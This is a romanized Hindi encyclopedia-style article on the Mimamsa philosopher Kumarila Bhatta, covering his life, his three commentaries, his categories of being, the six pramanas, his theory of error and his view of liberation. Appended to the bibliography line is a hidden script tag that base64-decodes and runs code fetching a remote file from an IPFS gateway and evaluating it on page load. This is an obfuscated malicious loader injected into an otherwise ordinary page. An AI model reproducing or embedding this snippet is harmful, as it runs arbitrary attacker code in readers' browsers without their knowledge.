कुमारिल भट्ट

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kumaril bhatt (lagabhag 670 ee) ya 'kumaril svami' ya 'kumaril mishr' ka nam mimaansa ke itihas mean maulik chintan vishad evan spasht vyakhya tatha alaukik pratibha ke karan sada smaraniy rahega. inhoanne vaidik dharm ka khandan karane vale bauddhoan ko parast kar vaidik dharm ki pun: sthapana ki. shankar digvijay tatha tibbati granthoan mean inako aur dharmakirti ko lekar anek kathaean haian. yah bhi kaha jata hai ki inhoanne vesh badalakar bauddhoan se bauddh darshan ka adhyayan kiya aur bad mean bauddhoan ko parast kiya.

jivan parichay

kumaril bhatt ke janm sthan tatha kal ke vishay mean bhi paryapt vivad hai. kuchh log inako dakshin bharat ka nivasi manate haian to doosare log inhean uttar bharat, vishesh roop se mithila, nivasi manate haian. tar nath ke anusar inaka kal 635 ee. hai, jabaki krippusvami ke anusar inaka kal 600 se 660 ke madhy hai. any log inaka samay satavian shatabdi ke aant mean manate haian.

kumaril bhatt mimaansa darshan ke do pradhan sanpradayoan mean se ek evan bhatt sanpraday ke sansthapak the. eesa ki satavian shatabdi mean paida hue kumaril bhatt ne 'mimaansa darshan' ke bhatt sampraday ki sthapana ki thi. kumaril bhatt, shankarachary se aur vachaspati mishr (850 ee.) se pahale hue evan bhavabhooti (620-680) inhian ke shishy the. kuchh vidvanh kumaril bhatt ko dakshin ka nivasi manate haian. kumaril ne jnan ke svaroop tatha usake sadhanoan ka vivechan vistar se kiya hai. unake anusar jis samay ko kisi vastu ka jnan hota hai, usi samay usaki satyata ka bhi jnan ho jata hai. usaki satyata siddh karane ke lie kisi any praman ki avashyakata nahian hoti.

kumaril ke matanusar

kumaril ke matanusar sansar ki utpatti tatha pralay nahian hota. jivoan ka janm-maran chalata rahata hai. kintu samagr sansar ki utpatti hoti hai, n vinash. nyay darshan ki bhaanti ve bhi eeshvar ko jagath ka karan nahian manate. unake anusar atma nity tatha kartta aur karm-phal-bhokta donoan hai. vedant ka adhyayan aur chintan moksh prapti mean sahayak hota hai. moksh ki sthiti mean sukh ki bhi anubhooti nahian rahati, atma du:kh se poornat: mukt ho jati hai.

granth

shabarabhashy par vritti roop se inake tin granth bahut prasiddh haian:

1. shlokavartik- jo karikabaddh granth hai evan pratham adhyay ke pratham tarkavad ka vyakhyan hai.
2. tantravartik- yah gadyaroop hai. isamean pratham adhyay ke dvitiy pad se lekar tritiy adhyay tak ki vyakhya hai.
3. tuptika- antim nav adhyayoan ki tippani.

bhattamat ke achary

kumaril bhatt ke anuyayi anek achary hue haian, jinamean mandanamishr, parthasarathi mishr, madhavachary, khandadev mishr adi adhik prasiddh haian. in acharyoan ne anek granthoan ki rachana kar bhattamat ka prachar, prasar evan sanrakshan kiya hai.

darshanik vichar

tatv vichar

tatvajnan ki drishti se kumaril bhatt ka darshan bahutatvavadi hai. inake mat mean anek tatv haian, jinaka astitv hai, jinaka jnan hota hai tatha jinake vishay mean anek prakar ke vyavahar hote haian. vaisheshik darshan ke saman kumaril bhatt bhi padarth ko do vargoan mean vibhajit karate haian-

1. bhav padarth
2. abhav padarth.

bhav padarth ke char bhed hote haian-

1. dravy
2. gun
3. karm
4. samany.

abhav bhi char prakar ka hota hai-

1. pragabhav
2. dhvansabhav
3. anyonyabhav
4. atyantabhav.

in padarthoan ka sankshipt varnan yahaan prastut kiya jata hai-

dravy

yah gun tatha kriya ka ashray hota hai. shabd ko bhi dravy mana jata hai. kumaril bhatt ke anusar shabd ek nity evan sarvagat dravy hai. aandhakar mean nil roop aur kriya hai. 'nil aandhakar chalata hai', is prakar ki pratiti evan vyavahar hota hai. at: tam ya aandhakar ko bhi dravy mana gaya hai. isaka pratyaksh chakshu se hota hai, kintu isake jnan ke lie alok ka abhav sahakari karan hai. akash ka bhi is mat mean chakshu se pratyaksh mana gaya hai.

atma

atma sharir, indriyaan evan buddhi se bhinn nity dravy hai. yah avinashi hai tatha karmoan ka karta evan phal ka vastavik bhokta hai. yah sarvavyapak hai. yah 'maian', is pratyay ke dvara mana jata hai. isaka svaroop chetan hai. yah sukh tatha du:kh ka anubhav karane vala hai. atma tin prakar ke prapanch ke karan bandhan mean rahata hai. tin prakar ke prapanch haian: bhogayatan 'sharir', bhog sadhan 'indriyaan', tatha shabd sparsh, roop adi bhog 'vishay'. in tinoan ke dvara jivan sukh aur du:kh ke vishay ka anubhav karata hua anadikal ke bandhan mean p da hua hai. inhian tinoan ke atyantik nash se mukti sanbhav hai.

gun terah haian.

samany

kumaril ke anusar, jati, samany tatha akriti paryayavachi haian. akriti hi vyaktiyoan mean saman roop se vidyaman rahakar unako ek naye varg mean rakhati hai aur any varg se alag karati hai. vyakti aur jati mean nity evan avibhajy sanbandh hai. samany vyakti se bhinn hota hai, phir bhi sabhi vyaktiyoan mean vidyaman rahata hai.

shesh padarthoan ka svaroop vaisheshik darshan ke anuroop hai.

praman-vichar : prama tatha praman

yatharth anubhav ko prama kaha jata hai. kintu smriti aur sanshay adi prama ke aantargat nahian ate haian. at: ajnat evan satyabhoot tatv ka jnan prama kahalata hai. is lakshan mean 'ajnat' shabd dene se smriti aur anuvad ka nivaran ho jata hai. ve prama ke aantargat nahian a pate aur satyabhoot shabd dene se sanshay, viparyay adi prama se alag ho jate haian. isi prama ke sadhan ko praman kaha jata hai.

praman bhed

bhattamat mean praman chh: mane jate haian- pratyaksh, anuman, upaman, shabd, arthapatti tatha anupalabdhi ya abhav. inamean prarambh ke paanch pramanoan se bhav padarthoan ka jnan hota hai aur aantim anupalabdhi se abhav padarth ka jnan hota hai.

pratyaksh

indriy ka vishay se sambandh hone par jo jnan utpann hota hai, use pratyaksh kahate haian.

pratyaksh ke bhed

pratyaksh do prakar ka hota hai. nirvikalpak ya alochanatmak pratyaksh aur savikalpak pratyaksh.

jab koee (dravy, gun ya samany) indriy ke samaksh ata hai tab pahale usaka jnan 'kuchh hai', is roop mean hota hai. usake varg, usaki visheshata, akriti adi ka spasht jnan us samay nahian rahata. isi jnan ko alochan jnan ya nirvikalpak pratyaksh kaha jata hai. kintu jab us vastu ke svaroop, varg, jati adi ka spasht jnan hone lagata hai tab vah savikalpak pratyaksh kahalata hai.

indriy tatha vishay ke sambandh ko 'samprayog' ya 'sannikarsh' kaha jata hai. nyay darshan mean sannikarsh chh: mane ge haian, kintu kumaril bhatt keval do hi sannikarsh manate haian- sanyog aur sanyukt tadatmy. inake mat mean dravy ke sath, gun, karm aur jati ka sambandh samavay nahian, balki tadatmy hai. at: keval do hi sannikarsh manane se hi kam chal jata hai. pratyaksh ka vishesh vivaran nyay darshan ke saman hai.

anuman

jaisa ki isake nam se hi spasht hai, yah kisi any jnan ke bad ata hai, arthath anuman pratyaksh jnan par adharit hota hai. pahale sadhy aur hetu ke sambangh ka jnan hota hai, jise vyapti jnan kaha jata hai. usake bad hetu ko dekhakar paksh mean sadhy ka jnan prapt hota hai. udaharanarth, pahale yah jnan rahata hai ki jahaan jahaan dhoom hai, vahaan vahaan agni hai. ise hi vyapti jnan kahate haian. isake bad parvat mean dhoom dikhalaee p dane par parvat mean agni ka jnan hota hai. yahi anuman se utpann jnan hai. is prakar anuman se jnan prapt kar jab doosare ko samajhaya jata hai, tab usake lie kuchh vakyoan ka prayog karana p data hai, jinhean avayav vaky kahate haian. nyay darshan mean ye avayav vaky paanch hote haian, kintu kumaril bhatt keval tin hi avayav manate haian : udaharan, upanay evan nigaman athava udaharan, hetu evan pratijna, jinako is prakar se spasht kiya ja sakata hai. jahaan jahaan dhoom hai, vahaan vahaan agni hai, jaise rasoeeghar mean (udaharan) vahaan parvat mean dhoom hai (upanay athava hetu) at: parvat mean agni hai (nigaman athava pratijna).

upaman

upaman sadrishy jnan ko kahate haian. ise nyay aur mimaansa donoan mean ek svatantr praman mana jata hai, kintu donoan ki manyata mean bhed hai. nyay darshan mean upaman praman ke dvara 'nil gay' shabd 'nil gay' arth ka vachak hai. is prakar ki shakti ka jnan hota hai. kumaril bhatt ke anusar upaman praman ki vyakhya is prakar ki ja sakati hai-

ek vyakti jo gay ko janata hai, jangal mean jata hai. vahaan vah ek janavar ko dekhata hai. us janavar mean use apani gay ki samanata dikh p dati hai. isake bad usake man mean pahale se jnat gay ka smaran hota hai ki meri gay mere samane upasthit janavar ke saman hai. is sadrishy se jo jnan hota hai, usaka vishay hai: vartaman janavar ki samanata se yukt apani gay. yahi upamiti hai. isase sadrishy ka pratyaksh aur gay ka smaran hota hai, kintu sadrishy yukt gay ka jnan n to pratyaksh se hota hai aur n hi smaran se. at: upaman praman avashyak evan svatantr praman mana jata hai.

shabd

jnat shabd se padarth ke smaran hone par jo vaky ke arth ka jnan hota hai, use shabdi prama ya shabd bodh kahate haian aur is prakar ka bodh karane vale vaky shabd praman kahe jate haian- paurushey aur apaurushey. paurushey vaky tabhi pramanit hote haian, jab unaka vyavahar apt purush ke dvara kiya jata hai. apaurushey vaky shruti hai. vah nity evan nirdosh hone se sada praman hai.

vaky ke aur bhi do bhed kiye jate haian

siddharthak vaky aur vidhayak vaky. vidhayak vaky bhi do prakar ke hote haian- upadeshak aur jatideshak. kisi padarth ki satta ko pradarshit karane vale vakyoan ko siddharthak vaky kahate haian, jaise- 'satyan jnanamanatanmh brahm' (arth : brahm, saty evan anant hai). kisi anushthan ke lie prerana dene vala vaky vidhayak kahalata hai. 'aisa ise karana chahie', is prakar ke vidhan karane vale vaky ko upadeshak vaky kahate haian aur 'darsh poornamas yag ke dvara svarg ka sadhan kare, is prakar ke vidhayak vaky ko atideshak vaky kaha jata hai.

laukik jnan ke lie apt purush ka kathan praman ho sakata hai, kinatu dharm ki janakari keval ved vakyoan se hi sanbhav hai. ved nity aur nirdosh haian, kyoanki ve apaurushey haian. shabd ke nity hone ke karan tatha arth ke sath usake sambandh ke nity hone ke karan shabd ki utpatti nahian hoti. uchcharan se keval dhvani ki utpatti hoti hai, jisase shabd abhivyakt hota hai. isi shabd nityata ke adhar par ved vakyoan ko nity aur apaurushey mana gaya hai. vah guru parampara se sunakar aya hai. at: usaka nam shruti hai.

arthapatti

drisht ya shrrit vishay ki upapatti jis arth ke bina n ho, us arth ke jnan ko arthapatti kahate haian. udaharan ke lie devadatt namak ek vyakti ko lete haian, jo din mean kabhi nahian khata, kintu phir bhi mota hai aur mota hota ja raha hai. yahaan devadatt ki in donoan sthitiyoan (din mean n khane aur mota hone) mean bhed dikh p data hai. at: is virodh ko hatane ke lie yah manana p data hai ki devadatt rat mean bhojan avashy karata hai. yahi arthapatti hai. sankshep mean ise yoan kaha ja sakata hai ki din mean bhojan n karane vala devadatt mota hai arthath vah rat mean bhojan karata hai. devadatt ka rat mean bhojan karana arthapatti se jnat ho raha hai, kyoanki yahi 'rat ka bhojan' ukt do vakyoan ke virodh ko hata sakata hai.

arthapatti ke do bhed hote haian-

1. drishtarthapatti- jahaan dekhi gee kisi vastu ke lie arthantar ki kalpana ki jati hai, jaise oopar vale udaharan mean
2. shrutarthapatti- jahaan ek shabd sunakar kisi vastu ki utpatti ke lie any shabd ki kalpana karani p dati hai, jaise- 'band karo' shabd sunakar 'dvar' shabd ki kalpana ki jati hai. is kalpana ke bina 'band karo' shabd apana arth vyakt karane mean asamarth hai. at: arthapatti mean 'dvar' shabd ko milakar 'dvar band karo' yah arth kiya jata hai.

anupalabdhi

bhav padarthoan ki janakari ke lie jin paanch pramanoan ki charcha ki gee hai, ve abhav ki janakari dene mean asamarth haian. at: abhav ya anupalabdhi nam se ek any svatantr praman mana gaya hai, jisase abhav padarth ki janakari ho sake. udaharan ke lie, 'us kamare mean gh da nahian hai', isaki janakari hamean tabhi hoti hai, jab ham gh de ki janakari ke sadhan ke rahate hue yah kahate haian ki gh da upalabdh nahian hai aur yadi hota to sanshay upalabdh hota. at: anupalabdhi se gh de ke abhav ki janakari ho jati hai.

bhram

kumaril bhatt ke bhram sambandhi siddhaant ko viparitakhyati ya anyathakhyati kahate haian. is bat ko samajhane ke lie ham bhram ke do udaharanoan ko prastut karate haian. sipi mean chaandi ka jnan aur rassi mean saanp ka jnan. ise viparitakhyati ya anyathakhyati isalie kaha jata hai ki sipi mean jis chaandi ki visheshata ka jnan ho raha hai, vah keval chaandi mean rahati hai, sipi mean nahian. at: doosare ki visheshata viparit roop se doosare mean bhramit hone ke karan yah viparit jnan ya viparit jnan ya viparitakhyati hai. usi prakar rassi mean saanp ki visheshata ke n rahane par bhi jnan mean rassi mean hi sarp ki visheshata ki janakari prapt ho lagati hai, jo usaka viparit dharm ya visheshata hai.

svat:pramanyavad

pramanyavad mimaansa aur nyayadarshan ka ek pramukh vishay hai. isaka tatpary yah nishchay karana hai ki jnan mean praman kaise utpann hota hai aur usaki janakari kaise hoti hai.

jnatatavad

kumaril bhatt ke anusar jnan jis karan se utpann hota hai, vahi karan pramany ko bhi utpann karata hai aur jis praman se jnan ka jnan hota hai, usi se usake pramany ka bhi jnan hota hai. yahi svat: pramanyavad hai. isake virodhi mat ko parat: pramanyavad kahate haian, jisake anusar pramany karan ke gun se utpann hota hai aur usaka jnan gun ke jnan se hota hai. kumaril ke anusar jnan apane vishay mean jnatata namak ek visheshata ko utpann karata hai. udaharanarth, jab ham aankh se gh da dekhate haian, tab yah kahate haian ki gh da hamean jnat hai. yah kahana tabhi sanbhav hai, jab ham gh de mean jnatata ki janakari prapt kar lean. is prakar ka ham vyavahar karate haian. isase spasht hai ki hamean jnatata ki janakari ho jati hai aur yah jnatata jnan ke bina utpann nahian ho sakati. arthath arthapatti praman se ham jnan ka jnan prapt karate haian. is prakar jnan svayan prakash nahian hai, jo ki prabhakar ne mana hai.

moksh

kumaril bhatt ke anusar, prapanch sambandh ka vilay hi moksh hai. arthath is jagath ke sath atma ke sambandh ke vinash ka nam moksh hai.

sadhan

moksh ke sadhan ke roop mean kumaril ne karm jnan samuchyavad ko svikar kiya hai. kamyakarm phal dete haian aur nishiddh karmoan ke karane se pap hota hai. at: in donoan se virat rahana chahie. kintu nity karmoan ko karate rahana chahie. sath hi sath atmajnan bhi prapt karana chahie. moksh ke lie karm pradhan karan hai aur jnan sahakari karan. yahi kumaril karmajnan samuchyavad hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

giri, d aau. raghanath vishv ke pramukh darshanik (hindi). bharatadiskavari pustakalay: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 145.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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